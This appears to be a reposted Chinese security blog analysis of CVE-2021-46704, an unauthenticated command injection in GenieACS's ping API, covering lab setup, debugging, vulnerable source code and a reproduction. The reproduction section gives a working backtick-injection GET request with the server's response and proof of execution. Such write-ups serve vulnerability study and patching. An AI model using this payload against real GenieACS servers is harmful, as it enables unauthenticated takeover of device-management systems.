GenieACS CVE-2021-46704认证前RCE漏洞分析

admin 2025年1月2日23:30:22评论10 views字数 11026阅读36分45秒阅读模式
GenieACS CVE-2021-46704认证前RCE漏洞分析

感谢师傅 · 关注我们

GenieACS CVE-2021-46704认证前RCE漏洞分析

1
简介

GenieACS是一个开源的TR-069远程管理解决方案。

漏洞参考披露信息CVE-2021-46704

In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.

TR-069知识

tr-069是CPE和ACS之间沟通的通讯协定,全称是CPE广域网管理协议,即就是CWMP(CPE WAN Management Protocol)。

TR069协议提供了对下一代网络中家庭网络设备进行管理配置的通用框架消息规范管理方法数据模型

其中CPE指的是用户终端设备,ACS指的是自动配置服务器。

tr069提供了一系列方法来实现ACS针对CPE的管理,参考TR-069协议介绍。

2
环境搭建

软件环境搭建

官网提供了详细的使用安装教程,可以跟着一步步来

尝试搜索了一下,发现有前人提供了docker部署方式

cd /opt && git clone https://github.com/DrumSergio/GenieACS-Docker && cd GenieACS-Dockersudo docker pull drumsergio/genieacs:1.2.8sudo docker-compose up -d

完成操作后,3000端口即可正常访问进入配置界面

GenieACS CVE-2021-46704认证前RCE漏洞分析

点击按钮后就可以进入正常的登陆界面

GenieACS CVE-2021-46704认证前RCE漏洞分析

至此,基础的运行环境搭建完成

因为这个漏洞影响1.2.8以下版本,所以需要安装老一点的版本,刚好也有大佬提供了docker 1.2.0的安装方式

然后一定要注意的此时有一个坑,需要将genieacs容器中/opt/genieacs/lib/config.ts中mongo的默认地址写成你的mongo的ip地址(不知道其他人会不会遇到,我在这里卡了很久才找到问题所在)

然后为了方便调试,将genieacs这个容器对外多加一个9000-9003端口用于调试

GenieACS CVE-2021-46704认证前RCE漏洞分析

可以看出1.2.0这个版本在登陆界面上看不到版本号

调试环境踩坑

关于远程调试nodejs,有很多教程

主要思路都是在运行的时候node增加inspect参数,但是这要求我们需要我们找到启动的时候真正调用的所谓的server.js文件,在目标环境shell中查看进程

root@35fea11e1d0b:~# ps -efUID          PID    PPID  C STIME TTY          TIME CMDgenieacs       1       0  0 03:41 ?        00:00:09 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.confgenieacs      10       1  0 03:41 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmpgenieacs      11       1  0 03:41 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fsgenieacs      12       1  0 03:41 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbigenieacs      13      10  0 03:41 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs      15      11  0 03:41 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-fsgenieacs      16      12  0 03:41 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-nbigenieacs      46      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      48      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      49      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      55      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      77      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs      84      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs      89      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs      92      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs      97      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs      99      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs     100      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs     103      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmproot         230       0  0 03:41 pts/0    00:00:00 bashgenieacs     347       1  0 07:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-uigenieacs     348     347  0 07:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-uigenieacs     359     348  0 07:57 ?        00:00:08 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-uigenieacs     362     348  0 07:57 ?        00:00:05 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-uigenieacs     366     348  0 07:57 ?        00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-uigenieacs     374     348  0 07:57 ?        00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-uiroot         429     230  0 13:04 pts/0    00:00:00 ps -ef
查看/etc/supervisor/conf.d/supervisord.conf
[supervisord]nodaemon=trueuser=genieacs[program:genieacs-cwmp]directory=/opt/genieacscommand=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmpstdout_logfile=/var/log/genieacs/genieacs-cwmp.logstderr_logfile=/var/log/genieacs/genieacs-cwmp.logautorestart=true[program:genieacs-nbi]directory=/opt/genieacscommand=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbistdout_logfile=/var/log/genieacs/genieacs-nbi.logstderr_logfile=/var/log/genieacs/genieacs-nbi.logautorestart=true[program:genieacs-fs]directory=/opt/genieacscommand=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fsstdout_logfile=/var/log/genieacs/genieacs-fs.logstderr_logfile=/var/log/genieacs/genieacs-fs.logautorestart=true[program:genieacs-ui]directory=/opt/genieacscommand=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-uistdout_logfile=/var/log/genieacs/genieacs-ui.logstderr_logfile=/var/log/genieacs/genieacs-ui.logautorestart=true

我们关注的显然是genieacs-ui

#!/usr/bin/env node.......

尝试加上调试命令,将文件头部更改为

#!/usr/bin/env node --inspect-brk=0.0.0.0:9000......

然后重启我的docker,重启完成后再查看进程发现已经以调试模式启动了

root@58a580aafc7f:/var/log/genieacs# ps -efUID          PID    PPID  C STIME TTY          TIME CMDgenieacs       1       0  0 13:57 ?        00:00:00 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.confgenieacs      10       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmpgenieacs      11       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fsgenieacs      12       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbigenieacs      13      10  0 13:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs      14       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-uigenieacs      15      11  0 13:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-fsgenieacs      16      12  0 13:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-nbigenieacs      27      14 99 13:57 ?        00:14:55 /usr/bin/env node --inspect-brk=0.0.0.0:9000 /opt/genieacs/dist/bin/genieacs-uigenieacs      40      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      45      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      46      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs      47      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      54      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs      56      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs      68      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fsgenieacs      82      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbigenieacs      84      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs      99      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs     110      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmpgenieacs     113      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmproot         180       0  0 13:57 pts/0    00:00:00 bashroot         187     180  0 14:12 pts/0    00:00:00 ps -ef
然后进入主机vscode中创建launch.json文件
{    // Use IntelliSense to learn about possible attributes.    // Hover to view descriptions of existing attributes.    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387    "version": "0.2.0",    "configurations": [        {            "type": "node",            "request": "attach",            "name": "Remote server",            "address": "*****",            "port": 9000,            "localRoot": "/*****/genieACS/genieacs/bin/genieacs-ui.ts",            "remoteRoot": "/opt/genieacs/dist/bin/genieacs-ui"        }    ]}

经过了这一番折腾,结果发现这个调试环境对于genieACS并不起作用,主要原因是因为genieACS要有一个混淆的过程,针对生成的文件并不能像普通的js一样调试

我最终解决办法是这样的,

修改lib/logger.ts文件,在尾部加入以下代码

export function mylog(Name, Value): void {  error({ message: "------0------" + Name + "-------0-------" })  error({ message: Value })  error({ message: "------1------" + Name + "-------1-------" })}

当需要调试的时候使用logger.mylog(Name, Value)即可,打印的值可以在/var/log/genieacs/genieacs-ui.log中看到

另外在/opt/genieacs目录下创建debug.sh

npm run buildps -ef | grep "node /opt/genieacs/dist/bin/genieacs-ui" | grep -v "/usr/local" | grep -v "grep" | awk '{print$2}' | xargs kill -9
每次在修改完代码后需要运行这个文件

不得不承认确实有点麻烦,但确实是我目前能力上能想到的解决办法了

我相信作者一定有更好的调试方法,或许可以提个issue问一下,如果观者有更好的方法欢迎提出

3
漏洞分析

CVE-2021-46704这个漏洞细节已经报的很清楚了,漏洞存在于 lib/ping.ts文件中

import { platform } from "os";import { exec } from "child_process";.......export function ping(  host: string,  callback: (err: Error, res?: PingResult, stdout?: string) => void): void {  let cmd: string, parseRegExp1: RegExp, parseRegExp2: RegExp;  switch (platform()) {    case "linux":      cmd = `ping -w 1 -i 0.2 -c 3 ${host}`;      parseRegExp1 = /(d+) packets transmitted, (d+) received, ([d.]+)% packet loss[^]*([d.]+)/([d.]+)/([d.]+)/([d.]+)/;      parseRegExp2 = /(d+) packets transmitted, (d+) received, ([d.]+)% packet loss/;      break;    case "freebsd":      // Send a single packet because on FreeBSD only superuser can send      // packets that are only 200 ms apart.      cmd = `ping -t 1 -c 3 ${host}`;      parseRegExp1 = /(d+) packets transmitted, (d+) packets received, ([d.]+)% packet lossnround-trip min/avg/max/stddev = ([d.]+)/([d.]+)/([d.]+)/([d.]+) ms/;      parseRegExp2 = /(d+) packets transmitted, (d+) packets received, ([d.]+)% packet loss/;      break;    default:      return callback(new Error("Platform not supported"));  }  exec(cmd, (err, stdout)  ......

很明显,会将ping命令中host参数拼接到字符串中然后调用child_process.exec函数去执行

知道了漏洞点以后,尝试找一下触发路径,根据进程我们知道程序是使用node运行/opt/genieacs/dist/bin/genieacs-ui

/opt/genieacs/dist/bin/genieacs-ui这个文件是/bin/genieacs-ui.ts混淆生成的,所以直接去看相应文件

......  const _listener = (req, res): void => {    if (stopping) res.setHeader("Connection", "close");    listener(req, res);  };  const initPromise = Promise.all([db2.connect(), cache.connect()])    .then(() => {      server.start(SERVICE_PORT, SERVICE_ADDRESS, ssl, _listener);    })    .catch((err) => {      setTimeout(() => {        throw err;      });    });    ......

geniesacs-ui.ts中开启了服务器,使用listener作为监听处理,listener相关定义在于lib/ui.ts中

......router.post("/login", async (ctx) => {  if (!JWT_SECRET) {    ctx.status = 500;    ctx.body = "UI_JWT_SECRET is not set";    logger.error({ message: "UI_JWT_SECRET is not set" });    return;  }......router.get("/status", (ctx) => {  ctx.body = "OK";});.....router.use("/api", api.routes(), api.allowedMethods());.....

很明显代码中根据不同的urlpatten规范了不同的处理内容,根据漏洞公告明确知道漏洞肯定是出在api中,因此直接去查看api.routes(),尝试找到ping的具体处理路径,最终在lib/ui/api.ts中找到了相关定义

router.get("/ping/:host", async (ctx) => {  return new Promise((resolve) => {    ping(ctx.params.host, (err, parsed) => {      if (parsed) {        ctx.body = parsed;      } else {        ctx.status = 500;        ctx.body = `${err.name}: ${err.message}`;      }      resolve();    });  });});

很明显会从get请求url中取出host的值,然后传入ping函数,进而造成命令执行,同时在调用路径上没有看到任何认证校验的存在,因此此漏洞还是一个认证前的命令执行

漏洞复现

GET /api/ping/`id>%2ftmp%2faaaaa` HTTP/1.1Host: 172.16.113.160:3000User-Agent: MozillaAccept: application/json, text/*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateOrigin: http://172.16.113.160:3000Connection: closeReferer: http://172.16.113.160:3000/

回包:

HTTP/1.1 500 Internal Server ErrorX-Config-Snapshot: fc1bdc5907edb1217fed62dd5425c464GenieACS-Version: 1.2.0+20220915090845Vary: Accept-EncodingContent-Type: text/plain; charset=utf-8Content-Length: 663Date: Thu, 15 Sep 2022 09:48:20 GMTConnection: closeError: Command failed: ping -w 1 -i 0.2 -c 3 `id>/tmp/aaaaa`Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]            [-w deadline] [-W timeout] [hop1 ...] destinationUsage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]             [-l preload] [-m mark] [-M pmtudisc_option]             [-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]             [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]             [-W timeout] destination
GenieACS CVE-2021-46704认证前RCE漏洞分析

在目标中查看,/tmp/aaaaa中已经写入内容

root@5*****:/opt/genieacs# cat /tmp/aaaaauid=999(genieacs) gid=999(genieacs) groups=999(genieacs)

成功复现命令注入

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果

原文始发于微信公众号(黑客白帽子):GenieACS CVE-2021-46704认证前RCE漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日23:30:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GenieACS CVE-2021-46704认证前RCE漏洞分析https://cn-sec.com/archives/1987389.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息